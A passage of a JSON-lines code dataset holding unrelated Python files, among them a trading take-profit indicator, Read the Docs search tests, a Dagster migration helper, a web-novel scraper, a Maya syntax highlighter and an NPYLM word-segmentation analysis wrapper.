exiting\")\n","sub_path":"src/filter_parser/filter_parser.py","file_name":"filter_parser.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"337907518","text":"import numpy\nimport talib\nfrom logic import MarketTrend\nfrom logic import Indicator, validate_datapoint\nfrom logic.candle import Candle\n\n\nclass TakeProfit(Indicator):\n\n def __init__(self, atr_period_length=7):\n super(TakeProfit, self).__init__()\n self.period = atr_period_length\n self._high = []\n self._low = []\n self._close = []\n self.position_type = MarketTrend.ENTER_LONG\n self.current_takeprofit_price = 0.0\n self.state = MarketTrend.NO_STOP\n\n def GetState(self):\n return self.state\n\n def seen_enough_data(self):\n return self.period <= len(self._high)\n\n def AmountOfDataStillMissing(self):\n return max(0, self.period - len(self._high))\n\n def Tickerupdate(self, datapoint):\n if not validate_datapoint(datapoint):\n return\n\n # Check if it is time to do a stop loss trade\n if (self.current_takeprofit_price > 0.0):\n if (self.position_type == MarketTrend.ENTER_LONG):\n if (datapoint[\"value\"] > self.current_takeprofit_price):\n # Should sell Long position\n self.state = MarketTrend.STOP_LONG\n self.current_takeprofit_price = 0.0\n elif (self.position_type == MarketTrend.ENTER_SHORT):\n if (datapoint[\"value\"] < self.current_takeprofit_price):\n # Should buy back short position\n self.state = MarketTrend.STOP_SHORT\n self.current_takeprofit_price = 0.0\n\n def update(self, datapoint):\n\n if not isinstance(datapoint, Candle):\n self.Tickerupdate(datapoint)\n return\n\n self._high.append(datapoint.high)\n self._low.append(datapoint.low)\n self._close.append(datapoint.close)\n\n if (len(self._high) > self.period):\n self._close.pop(0)\n self._low.pop(0)\n self._high.pop(0)\n\n def SetTakeProfit(self, price, position_type=MarketTrend.ENTER_LONG):\n if (position_type != MarketTrend.ENTER_LONG and\n position_type != MarketTrend.ENTER_SHORT):\n return\n if (price <= 0.0):\n return\n self.position_type = position_type\n self.current_takeprofit_price = price\n self.state = MarketTrend.NO_STOP\n\n def GetPrice(self, position_type=MarketTrend.ENTER_LONG):\n\n if (not self.seen_enough_data()):\n return numpy.nan\n\n high = numpy.array(self._high, dtype=float)\n low = numpy.array(self._low, dtype=float)\n close = numpy.array(self._close, dtype=float)\n ATR = talib.ATR(high, low, close, timeperiod=self.period - 1)[-1]\n takeprofit_price = self._close[-1]\n\n if (position_type == MarketTrend.ENTER_LONG):\n takeprofit_price += 1.0 * ATR\n elif (position_type == MarketTrend.ENTER_SHORT):\n takeprofit_price -= 1.0 * ATR\n else:\n takeprofit_price = numpy.nan\n\n return takeprofit_price\n\n def CancelTakeProfit(self):\n self.state = MarketTrend.NO_STOP\n self.current_takeprofit_price = 0.0\n\n def IsSet(self):\n return self.current_takeprofit_price != 0.0\n","sub_path":"logic/takeprofit.py","file_name":"takeprofit.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"232662153","text":"\"\"\"Curate the labelled data.\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\ndef reader(csv):\n \"\"\"Read in data from folder survey_data.\"\"\"\n with open('survey_data/'+str(csv), newline='') as f:\n reader = pd.read_csv(f)\n return reader\n\ndef drop_stuff(reader):\n \"\"\"Filter out unnecessary columns, drop empy rows and ename the columns.\"\"\"\n df = reader.filter(['player.tweet', 'player.pos_rating','player.emo_rating'])\n df.dropna(how='all', subset=['player.pos_rating','player.emo_rating'], inplace=True)\n df.columns = ['tweet', 'pos', 'emo']\n return df\n\ndef recode_values(df):\n \"\"\"Recode the values in the dataframe.\"\"\"\n value_dict = {'pos': [-1, 0, 1, np.nan],\n 'emo': [-1, 1, np.nan]\n }\n to_replace = {'pos': ['Negativ','Neutral','Positiv', 'Nicht zutreffend'],\n 'emo': ['Emotional', 'Sachlich', 'Nicht zutreffend']\n }\n return df.replace(to_replace=to_replace, value=value_dict, inplace=True)\n\nall_scales = drop_stuff(reader('scale_after_scale_2020-04-17.csv'))\ntwo_scales = drop_stuff(reader('two_scales_2020-04-28.csv'))\n\n\n\nresult = pd.concat([all_scales, two_scales], join='outer', sort=False)\nprint(len(result))\n\nunique_tweets = result.drop_duplicates(subset='tweet')\n\nassert result['tweet'].nunique() == len(unique_tweets)\n\n# This is done to verify that we are now working with a subset of the orginal tweets.\nwith open('data/html994_selected_tweets_for_labeling.csv', newline='') as f:\n og_list = pd.read_csv(f)\n\n# Clean up the html\nunique_list = unique_tweets.tweet.str.wrap(10,replace_whitespace=True).to_list()\nbig_list = og_list['0'].str.wrap(10,replace_whitespace=True).to_list()\n\n# Transform into set\nunique_set = set(unique_list)\nbig_set = set(big_list)\ndiff = unique_set.intersection(big_set)\n\nif unique_set.issubset(big_set) == True and len(diff) == len(unique_tweets):\n unique_tweets.to_csv('data/unique_tweets.csv', index=False)\nelse:\n print(\"Unique tweets are not a subset the original list.\")\n","sub_path":"data_management/curate_data.py","file_name":"curate_data.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"569028396","text":"lst = [5, 8, 1, 3, 4]\nfor element in lst:\n if element in (8, 3):\n continue\n print(element, end=' ')\nelse:\n print('ok')\n\n# count = 10\n# while count > 0:\n# print(count)\n# if count in (8,4):\n# continue\n# count -= 1","sub_path":"cycles/continue.py","file_name":"continue.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"469749610","text":"from dagster.core.instance import DagsterInstance\nfrom dagster.core.storage.event_log.sql_event_log import SqlEventLogStorage\n\n\ndef migrate_event_log_data(instance=None):\n '''\n Utility method to migrate the data in the existing event log records. Reads every event log row\n reachable from the instance and reserializes it to event log storage. Deserializing and then\n reserializing the event from storage allows for things like SQL column extraction, filling\n explicit default values, etc.\n '''\n if not instance:\n instance = DagsterInstance.get()\n\n event_log_storage = instance._event_storage # pylint: disable=protected-access\n if not isinstance(event_log_storage, SqlEventLogStorage):\n return\n\n for run in instance.get_runs():\n event_records_by_id = event_log_storage.get_logs_for_run_by_log_id(run.run_id)\n for record_id, event in event_records_by_id.items():\n event_log_storage.update_event_log_record(record_id, event)\n","sub_path":"python_modules/dagster/dagster/core/storage/event_log/migration.py","file_name":"migration.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"388241060","text":"s1 = input('Введите натуральное число->')\r\nchet = 0\r\nnechet = 0\r\nfor num in s1:\r\n if int(num) % 2 != 0:\r\n nechet +=1\r\n else:\r\n chet +=1\r\n\r\nprint(f'В чсиле {s1} -> Четных {chet}, нечетных {nechet}')\r\n","sub_path":"lesson2/lesson2_2.py","file_name":"lesson2_2.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"56311996","text":"# -*- coding: utf-8 -*-\n\nimport re\n\nimport pytest\nfrom django.core.urlresolvers import reverse\nfrom django_dynamic_fixture import G\nfrom pyquery import PyQuery as pq\n\nfrom readthedocs.builds.constants import LATEST\nfrom readthedocs.builds.models import Version\nfrom readthedocs.projects.models import HTMLFile, Project\nfrom readthedocs.search.tests.utils import (\n get_search_query_from_project_file,\n DATA_TYPES_VALUES,\n)\n\n\n@pytest.mark.django_db\n@pytest.mark.search\nclass TestProjectSearch:\n url = reverse('search')\n\n def _get_search_result(self, url, client, search_params):\n resp = client.get(url, search_params)\n assert resp.status_code == 200\n\n results = resp.context['results']\n facets = resp.context['facets']\n\n return results, facets\n\n def test_search_by_project_name(self, client, project, all_projects):\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': project.name },\n )\n\n assert len(results) == 1\n assert project.name.encode('utf-8') in results[0].name.encode('utf-8')\n for proj in all_projects[1:]:\n assert proj.name.encode('utf-8') not in results[0].name.encode('utf-8')\n\n def test_search_project_have_correct_language_facets(self, client, project):\n \"\"\"Test that searching project should have correct language facets in the results\"\"\"\n # Create a project in bn and add it as a translation\n G(Project, language='bn', name=project.name)\n\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': project.name },\n )\n\n lang_facets = facets['language']\n lang_facets_str = [facet[0] for facet in lang_facets]\n # There should be 2 languages\n assert len(lang_facets) == 2\n assert sorted(lang_facets_str) == sorted(['en', 'bn'])\n for facet in lang_facets:\n assert facet[2] == False # because none of the facets are applied\n\n def test_search_project_filter_language(self, client, project):\n \"\"\"Test that searching project filtered according to language.\"\"\"\n # Create a project in bn and add it as a translation\n translate = G(Project, language='bn', name=project.name)\n search_params = { 'q': project.name, 'language': 'bn' }\n\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n\n # There should be only 1 result\n assert len(results) == 1\n\n lang_facets = facets['language']\n lang_facets_str = [facet[0] for facet in lang_facets]\n\n # There should be 2 languages because both `en` and `bn` should show there\n assert len(lang_facets) == 2\n assert sorted(lang_facets_str) == sorted(['en', 'bn'])\n\n\n@pytest.mark.django_db\n@pytest.mark.search\nclass TestPageSearch(object):\n url = reverse('search')\n\n def _get_search_result(self, url, client, search_params):\n resp = client.get(url, search_params)\n assert resp.status_code == 200\n\n results = resp.context['results']\n facets = resp.context['facets']\n\n return results, facets\n\n def _get_highlight(self, result, data_type):\n # if query is from page title,\n # highlighted title is present in 'result.meta.highlight.title'\n if data_type == 'title':\n highlight = result.meta.highlight.title\n\n # if result is not from page title,\n # then results and highlighted results are present inside 'inner_hits'\n else:\n inner_hits = result.meta.inner_hits\n assert len(inner_hits) >= 1\n\n # checking first inner_hit\n inner_hit_0 = inner_hits[0]\n expected_type = data_type.split('.')[0] # can be either 'sections' or 'domains'\n assert inner_hit_0['type'] == expected_type\n highlight = inner_hit_0['highlight'][data_type]\n\n return highlight\n\n def _get_highlighted_words(self, string):\n highlighted_words = re.findall(\n '(.*?)',\n string\n )\n return highlighted_words\n\n @pytest.mark.parametrize('data_type', DATA_TYPES_VALUES)\n @pytest.mark.parametrize('page_num', [0, 1])\n def test_file_search(self, client, project, data_type, page_num):\n query = get_search_query_from_project_file(\n project_slug=project.slug,\n page_num=page_num,\n data_type=data_type\n )\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': query, 'type': 'file' }\n )\n assert len(results) >= 1\n\n # checking first result\n result_0 = results[0]\n highlight = self._get_highlight(result_0, data_type)\n assert len(highlight) == 1\n\n highlighted_words = self._get_highlighted_words(highlight[0])\n assert len(highlighted_words) >= 1\n for word in highlighted_words:\n # Make it lower because our search is case insensitive\n assert word.lower() in query.lower()\n\n def test_file_search_have_correct_role_name_facets(self, client):\n \"\"\"Test that searching files should result all role_names.\"\"\"\n\n # searching for 'celery' to test that\n # correct role_names are displayed\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': 'celery', 'type': 'file' }\n )\n assert len(results) >= 1\n role_name_facets = facets['role_name']\n role_name_facets_str = [facet[0] for facet in role_name_facets]\n expected_role_names = ['py:class', 'py:function', 'py:method']\n assert sorted(expected_role_names) == sorted(role_name_facets_str)\n for facet in role_name_facets:\n assert facet[2] == False # because none of the facets are applied\n\n def test_file_search_filter_role_name(self, client):\n \"\"\"Test that searching files filtered according to role_names.\"\"\"\n\n search_params = { 'q': 'celery', 'type': 'file' }\n # searching without the filter\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params\n )\n assert len(results) >= 2 # there are > 1 results without the filter\n role_name_facets = facets['role_name']\n for facet in role_name_facets:\n assert facet[2] == False # because none of the facets are applied\n\n confval_facet = 'py:class'\n # checking if 'py:class' facet is present in results\n assert confval_facet in [facet[0] for facet in role_name_facets]\n\n # filtering with role_name=py:class\n search_params['role_name'] = confval_facet\n new_results, new_facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params\n )\n new_role_names_facets = new_facets['role_name']\n # there is only one result with role_name='py:class'\n # in `signals` page\n assert len(new_results) == 1\n first_result = new_results[0] # first result\n inner_hits = first_result.meta.inner_hits # inner_hits of first results\n assert len(inner_hits) >= 1\n inner_hit_0 = inner_hits[0] # first inner_hit\n assert inner_hit_0.type == 'domains'\n assert inner_hit_0.source.role_name == confval_facet\n\n for facet in new_role_names_facets:\n if facet[0] == confval_facet:\n assert facet[2] == True # because 'std:confval' filter is active\n else:\n assert facet[2] == False\n\n @pytest.mark.parametrize('data_type', DATA_TYPES_VALUES)\n @pytest.mark.parametrize('case', ['upper', 'lower', 'title'])\n def test_file_search_case_insensitive(self, client, project, case, data_type):\n \"\"\"\n Check File search is case insensitive.\n\n It tests with uppercase, lowercase and camelcase.\n \"\"\"\n query_text = get_search_query_from_project_file(\n project_slug=project.slug,\n data_type=data_type\n )\n cased_query = getattr(query_text, case)\n query = cased_query()\n\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': query, 'type': 'file' }\n )\n assert len(results) >= 1\n\n first_result = results[0]\n highlight = self._get_highlight(first_result, data_type)\n assert len(highlight) == 1\n highlighted_words = self._get_highlighted_words(highlight[0])\n assert len(highlighted_words) >= 1\n for word in highlighted_words:\n assert word.lower() in query.lower()\n\n def test_file_search_exact_match(self, client, project):\n \"\"\"\n Check quoted query match exact phrase.\n\n Making a query with quoted text like ``\"foo bar\"`` should match exactly\n ``foo bar`` phrase.\n \"\"\"\n\n # `Sphinx` word is present both in `kuma` and `docs` files\n # But the phrase `Sphinx uses` is present only in `kuma` docs.\n # So search with this phrase to check\n query = r'\"Sphinx uses\"'\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': query, 'type': 'file' })\n\n # there must be only 1 result\n # because the phrase is present in\n # only one project\n assert len(results) == 1\n assert results[0].project == 'kuma'\n assert results[0].path == 'testdocumentation'\n\n inner_hits = results[0].meta.inner_hits\n assert len(inner_hits) == 1\n assert inner_hits[0].type == 'sections'\n highlight = self._get_highlight(results[0], 'sections.content')\n assert len(highlight) == 1\n highlighted_words = self._get_highlighted_words(highlight[0])\n assert len(highlighted_words) >= 1\n for word in highlighted_words:\n assert word.lower() in query.lower()\n\n def test_file_search_have_correct_project_facets(self, client, all_projects):\n \"\"\"Test that file search have correct project facets in results\"\"\"\n\n # `environment` word is present both in `kuma` and `docs` files\n # so search with this phrase\n query = 'environment'\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': query, 'type': 'file' },\n )\n # There should be 2 search result\n assert len(results) == 2\n project_facets = facets['project']\n project_facets_str = [facet[0] for facet in project_facets]\n assert len(project_facets_str) == 2\n\n # kuma and pipeline should be there\n assert sorted(project_facets_str) == sorted(['kuma', 'docs'])\n\n def test_file_search_filter_by_project(self, client):\n \"\"\"Test that search result are filtered according to project.\"\"\"\n\n # `environment` word is present both in `kuma` and `docs` files\n # so search with this phrase but filter through `kuma` project\n search_params = {\n 'q': 'environment',\n 'type': 'file',\n 'project': 'kuma'\n }\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n project_facets = facets['project']\n resulted_project_facets = [ facet[0] for facet in project_facets ]\n\n # There should be 1 search result as we have filtered\n assert len(results) == 1\n # kuma should should be there only\n assert 'kuma' == results[0].project\n\n # But there should be 2 projects in the project facets\n # as the query is present in both projects\n assert sorted(resulted_project_facets) == sorted(['kuma', 'docs'])\n\n @pytest.mark.xfail(reason='Versions are not showing correctly! Fixme while rewrite!')\n def test_file_search_show_versions(self, client, all_projects, es_index, settings):\n # override the settings to index all versions\n settings.INDEX_ONLY_LATEST = False\n\n project = all_projects[0]\n # Create some versions of the project\n versions = [G(Version, project=project) for _ in range(3)]\n query = get_search_query_from_project_file(project_slug=project.slug)\n results, facets = self._get_search_result(\n url=self.url,\n client=client,\n search_params={ 'q': query, 'type': 'file' },\n )\n\n # Results can be from other projects also\n assert len(results) >= 1\n\n version_facets = facets['version']\n version_facets_str = [facet[0] for facet in version_facets]\n # There should be total 4 versions\n # one is latest, and other 3 that we created above\n assert len(version_facets) == 4\n\n project_versions = [v.slug for v in versions] + [LATEST]\n assert sorted(project_versions) == sorted(resulted_version_facets)\n\n def test_file_search_subprojects(self, client, all_projects, es_index):\n \"\"\"\n TODO: File search should return results from subprojects also.\n\n This is currently disabled because the UX around it is weird.\n You filter by a project, and get results for multiple.\n \"\"\"\n project = all_projects[0]\n subproject = all_projects[1]\n # Add another project as subproject of the project\n project.add_subproject(subproject)\n\n # Now search with subproject content but explicitly filter by the parent project\n query = get_search_query_from_project_file(project_slug=subproject.slug)\n search_params = {\n 'q': query,\n 'type': 'file',\n 'project': project.slug,\n }\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n assert len(results) == 0\n\n def test_search_page_size(self, client, all_projects):\n query = 'are'\n search_params = {'q': query, 'type': 'file'}\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n # There should be 3 search result\n assert len(results) == 3\n\n search_params['page_size'] = 2\n\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n\n assert len(results) == 2\n\n search_params['page_size'] = 'not_number'\n\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n\n assert len(results) == 3\n\n search_params['page_size'] = ''\n\n results, _ = self._get_search_result(\n url=self.url,\n client=client,\n search_params=search_params,\n )\n\n assert len(results) == 3\n\n","sub_path":"readthedocs/search/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":15255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"435596602","text":"from rdflib import Graph, BNode, Literal, URIRef, RDFS, RDF, plugin\nfrom rdflib.store import Store\nimport os\n\ndef test1():\n store = plugin.get('SQLAlchemy', Store)(\n identifier=URIRef(\"rdflib_test\"),\n configuration=Literal(\"sqlite:///%(here)s/development.sqlite\" % {\"here\": os.getcwd()}))\n g = Graph(store)\n statementId = BNode()\n print(len(g))\n g.add((statementId, RDF.type, RDF.Statement))\n g.add((statementId, RDF.subject, URIRef(u'http://rdflib.net/store/ConjunctiveGraph')))\n g.add((statementId, RDF.predicate, RDFS.label))\n g.add((statementId, RDF.object, Literal(\"Conjunctive Graph\")))\n print(len(g))\n for s, p, o in g:\n print(type(s))\n\n for s, p, o in g.triples((None, RDF.object, None)):\n print(o)\n\n g.remove((statementId, RDF.type, RDF.Statement))\n print(len(g))\n os.unlink(\"%(here)s/development.sqlite\" % {\"here\": os.getcwd()})\n\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"395634859","text":"#!/usr/bin/env python3\n# encoding:utf-8\n\nimport requests\nfrom pyquery import PyQuery as pq\nfrom fake_useragent import UserAgent\nfrom urllib.parse import quote\n\nfrom database import Database\n\n\nclass Zongheng():\n\n def __init__(self):\n self.db = Database()\n\n def get_book_information(self, book):\n name, source_id, *_, search = book\n book, author, category = [{}, {}, {}]\n print('search {} at {}'.format(name, search))\n # http://search.zongheng.com/search/all/永夜君王/1.html\n url = search + 'all/' + quote(name) + '/1.html'\n headers = {'Referer': search, 'User-Agent': UserAgent().random}\n result = pq(requests.get(url, headers=headers).text)('.search_text').eq(0)\n if pq(result)('a').eq(0).text().replace(' ','') == name:\n print('book {} found'.format(name))\n book['name'] = name\n book['source_id'] = source_id\n book['book_link'] = pq(result)('a').eq(0).attr('href')\n book['toc_link'] = pq(result)('.search_oprate')('.a_un').eq(1).attr('href')\n author['name'] = pq(result)('a').eq(1).text()\n author['link'] = pq(result)('a').eq(1).attr('href')\n category['name'] = pq(result)('a').eq(2).text()\n print(book, author, category)\n else:\n print(\"book {} not found\".format(name))\n return book, author, category\n\n def get_chapters(self, book):\n book_id, name, toc_link, source_id, source_name = book\n chapters = []\n print('get chapter list for {}'.format(name))\n headers = {'User-Agent': UserAgent().random}\n results = pq(requests.get(toc_link, headers=headers).text)('#chapterListPanel')('.chapterBean')\n for r in results:\n chapter, chapter_list = [{}, {}]\n chapter['name'] = pq(r)('td').attr('chaptername')\n chapter['book_id'] = book_id\n chapter['is_new'] = True\n chapter['update_time'] = pq(r)('td').attr('updatetime')\n chapter['word_num'] = pq(r)('td').attr('wordnum')\n chapter_list['source_id'] = source_id\n chapter_list['link'] = pq(r)('a').attr('href')\n chapters.append(chapter)\n\n def update_chapters(self, book):\n id, name, link, source = book","sub_path":"cashew/lidl/zongheng.py","file_name":"zongheng.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"651752315","text":"from PySide2.QtWidgets import QTextEdit\nfrom PySide2.QtGui import QSyntaxHighlighter, QColor, QTextCharFormat#, QFont\nfrom PySide2.QtCore import QRegExp\n\nfrom shiboken2 import wrapInstance\nfrom maya.OpenMayaUI import MQtUtil \n\n\n# dependancies: tk_scriptEditorOutput.mel\n\nclass SH(QSyntaxHighlighter):\n\t'''\n\tSyntax Highlight class, used by all SK_*_Codes SHs\n\t:param parent: parent's widget\n\t'''\n\tdef __init__(self, parent):\n\t\tQSyntaxHighlighter.__init__(self, parent) #inherit\n\t\tself.parent = parent #define parent explicitly\n\t\t\n\tdef highlightBlock(self, text):\n\t\t# Derived from Qt function, used to apply color-syntaxing to text\n\t\t# :param text: text input\n\t\t\n\t\trules = [(QColor( 90, 90, 90), r\"^(//|#).+$\"), #grey 90, 90, 90\n\t\t\t\t (QColor(205, 200, 120), r\"^(//|#) Warning.+$\"), #yellow 205, 200, 120\n\t\t\t\t (QColor(165, 75, 75), r\"^(//|#).+Error.+$\"), #red 165, 75, 75\n\t\t\t\t (QColor(115, 215, 150), r\"^(//|#).+Result.+$\")] #green 115, 215, 150\n\t\t# loop through rules\n\t\tfor color, pattern in rules:\n\t\t\tkeyword = QTextCharFormat()\n\t\t\tkeyword.setForeground(color)\n\t\t\t# get regexp pattern\n\t\t\texpression = QRegExp(pattern)\n\t\t\tindex = expression.indexIn(text)\n\t\t\t# loop until all matches are done\n\t\t\twhile index >= 0:\n\t\t\t\tlength = expression.matchedLength()\n\t\t\t\t# format text with current formatting\n\t\t\t\tself.setFormat(index, length, keyword)\n\t\t\t\tindex = expression.indexIn(text, index + length)\n\t\tself.setCurrentBlockState(0)\n\n\ndef wrap():\n\ti=1\n\twhile i:\n\t\ttry:\n\t\t\tse_edit = wrapInstance(long(MQtUtil.findControl('cmdScrollFieldReporter%i' %i)), QTextEdit)\n\t\t\tbreak\n\t\texcept TypeError:\n\t\t\ti+=1\n\tsyntax_highlighter = SH(se_edit)\n\n\t#untested. send to $tk_cmdScrollFieldReporter explicitly. used in place of above code.\n\t# cmdScrollFieldReporter = \"$tk_cmdScrollFieldReporter\"\n\t# se_edit = wrapInstance(long(MQtUtil.findControl(cmdScrollFieldReporter)), QTextEdit)\n\t# syntax_highlighter = SH(se_edit)\n \n\n\n\t#unused from original script\n\t# # try:\n\t# # syntax_highlighter.deleteLater()\n\t# # except:\n\t# # pass","sub_path":"maya/scriptEditorOutputTextHighlighting.py","file_name":"scriptEditorOutputTextHighlighting.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"106035165","text":"from get_abstracts_pubmed import PyMedCrawler\n\n# amiodarone\n# amfetamine\n# fluoxetine\n\ncrawlerObj = PyMedCrawler(\n email=\"??\",\n druglist_path=\"data/drug_mapping_v3_210726_2.xlsx\",\n columns=[\"ingredient_1\",\"ingredient_2\", \"ingredient_3\",\"ingredient_4\",\"ingredient_5\", \"ingredient_6\",\"ingredient_7\",\"ingredient_8\", \"ingredient_9\"],\n drugs=[\"baclofen\"],\n max_results=100000,\n suicide_mesh=True,\n from_date=\"2021/01/01\",\n to_date=\"2021/03/30\",\n suicide_tw=True,case_report=True,lang=[\"English\"],\n)\n\ncrawlerObj.harvest()\ncrawlerObj.post_processing()\n\n# crawlerObj.check_tags(type=\"filter\", list=[\"case reports\"])\n# crawlerObj.check_tags(type=\"mesh\", list=[\"adverse effects\"])\n# \"\"\"plain text of sentences for pretraining\"\"\"\n# paper = crawlerObj.split_to_sents(keywords=True, classify=False, titles=False)","sub_path":"Lab_files/get_abstracts_MAIN_test.py","file_name":"get_abstracts_MAIN_test.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"564557471","text":"import os\nimport cProfile\n\nimport numpy as np\n\nfrom datetime import datetime\nfrom shutil import copyfile\nfrom random import random\nfrom math import floor\nfrom time import clock\n\nfrom actual_npylm import NestedPitmanYorLanguageModel\nfrom plot_utils import plot_line_graph\nfrom probability_utils import word_kl_divergence\n\n\nclass NestedPitmanYorLanguageModelWrapper:\n @staticmethod\n def load_text(path, avoid_spaces=False):\n \"\"\"\n Loads the text in the file located at path and returns it as a list of sentences. \n Also returns the symbol alphabet used in the text.\n The file must be structured as one sentence per line.\n\n :param path: Path to file containing text. \n :param avoid_spaces: Whether to ignore spaces in the generated alphabet.\n :return: Tuple of list of sentences and alphabet used in sentences.\n \"\"\"\n with open(path, \"r\", encoding=\"utf8\") as f:\n sentences = f.readlines()\n sentences = [x.strip() for x in sentences]\n\n alphabet = dict()\n for s in sentences:\n for ch in s:\n if ch not in alphabet:\n alphabet[ch] = 1\n\n # Remove space char if necessary.\n if avoid_spaces:\n if \" \" in alphabet:\n del alphabet[\" \"]\n\n return sentences, alphabet\n\n @staticmethod\n def get_mean_word_length(sentences):\n \"\"\"\n Computes the mean word length of the input list of sentences.\n \n :param sentences: List of sentences.\n :return: Mean word length.\n \"\"\"\n\n word_count = 0\n total_word_length = 0\n\n for s in sentences:\n total_word_length += len(s.replace(\" \", \"\"))\n word_count += len(s.split())\n\n return total_word_length / word_count\n\n @staticmethod\n def write_report(model_report_file_path, model_name, total_run_time, mean_run_time, data_symbol_count,\n mean_output_word_length, mean_input_word_length, correct_segmentation_percentage, kl_divergence):\n \"\"\"\n Writes the model report to the specified file path.\n \n :param model_report_file_path: Path to report file.\n :param model_name: Name of the model.\n :param total_run_time: Total run time.\n :param mean_run_time: Mean run time per iteration.\n :param data_symbol_count: The number of different symbols in the input data.\n :param mean_output_word_length: The mean output word length.\n :param mean_input_word_length: The mean input word length.\n :param correct_segmentation_percentage: The percentage of (absolutely) correct segmentations.\n :param kl_divergence: The KL divergence between the output and the input.\n \"\"\"\n\n s = \"\"\n s += \"Report for \" + model_name + \"\\n\\n\"\n s += \"\\nBenchmarks:\\nTotal run time: \\t\\t\\t\" + str(total_run_time) + \"\\n\"\n s += \"Mean run time: \\t\\t\\t\\t\" + str(mean_run_time) + \"\\n\"\n s += \"\\nPerformance:\\nData symbol count: \\t\\t\\t\" + str(data_symbol_count) + \"\\n\"\n s += \"Mean output word length: \\t\\t\" + str(mean_output_word_length) + \"\\n\"\n s += \"Mean input word length: \\t\\t\" + str(mean_input_word_length) + \"\\n\"\n s += \"Correct segmentation percentage: \\t\" + str(correct_segmentation_percentage) + \"\\n\"\n s += \"KL divergence: \\t\\t\\t\\t\" + str(kl_divergence) + \"\\n\"\n\n with open(model_report_file_path, \"w\") as f:\n f.write(s)\n\n @staticmethod\n def generate_plots(path, analysis_data):\n \"\"\"\n Generates plots and saves them as .png into the specified folder.\n \n :param path: Path to output folder.\n :param analysis_data: Analysis data used for generating plots. It must be a list with elements\n of form (iteration index, run time, KL divergence).\n \"\"\"\n\n path_to_runtime_plot = os.path.join(path, \"Runtime Plot.png\")\n path_to_kl_plot = os.path.join(path, \"KL Divergence Plot.png\")\n\n plot_line_graph(analysis_data, ((\"Iteration\", 0), (\"Runtime\", 1)), path_to_runtime_plot)\n plot_line_graph(analysis_data, ((\"Iteration\", 0), (\"KL Divergence\", 2)), path_to_kl_plot)\n\n @staticmethod\n def run_analysis(model_name, path_to_data, output_folder_path, iterations, max_word_length, analysis_frequency):\n \"\"\"\n Runs the NPYLM on the data found in the file at the provided path for the provided number\n of iterations. Generates analysis data with the frequency given. Outputs all results (including\n serialized models to a new folder created in the output_folder_path folder.\n \n :param model_name: The name of the model.\n :param path_to_data: Path to the file containing the segmented data.\n :param output_folder_path: Path to the folder to which to write analysis data.\n :param iterations: Number of iterations for which to run the sampler.\n :param max_word_length: Max number of symbols per word.\n :param analysis_frequency: The frequency at which to probe the sampler (e.g. for\n analysis_frequency = 10, it will generate analysis data\n at every 10th iteration.\n \"\"\"\n\n # Load data.\n sentences, alphabet = NestedPitmanYorLanguageModelWrapper.load_text(path_to_data, True)\n print(\"Loaded data\\n\")\n\n # Create output folder.\n now = datetime.now()\n model_output_folder_name = \"[NPYLM][\" + model_name + \"]\" + \\\n \"[\" + str(now.day) + \"_\" + str(now.month) + \"]\" + \\\n \"[\" + str(now.hour) + \"_\" + str(now.minute) + \"]\"\n model_output_folder_path = os.path.join(output_folder_path, model_output_folder_name)\n if not os.path.exists(model_output_folder_path):\n os.makedirs(model_output_folder_path)\n print(\"Created output folder.\\n\")\n\n # Create serialization folder.\n serialization_folder = os.path.join(model_output_folder_path, \"Serialized Models\")\n if not os.path.exists(serialization_folder):\n os.makedirs(serialization_folder)\n print(\"Created serialization folder\\n\")\n\n # Run sampler.\n npylm = NestedPitmanYorLanguageModel(alphabet, max_word_length)\n output_segmentation, analysis_data, total_run_time, mean_run_time = \\\n npylm.run_sampler(sentences, iterations, analysis_frequency, serialization_folder)\n print(\"Sampling finished.\\n\")\n\n # Copy data to output folder.\n data_copy_path = os.path.join(model_output_folder_path, \"Data 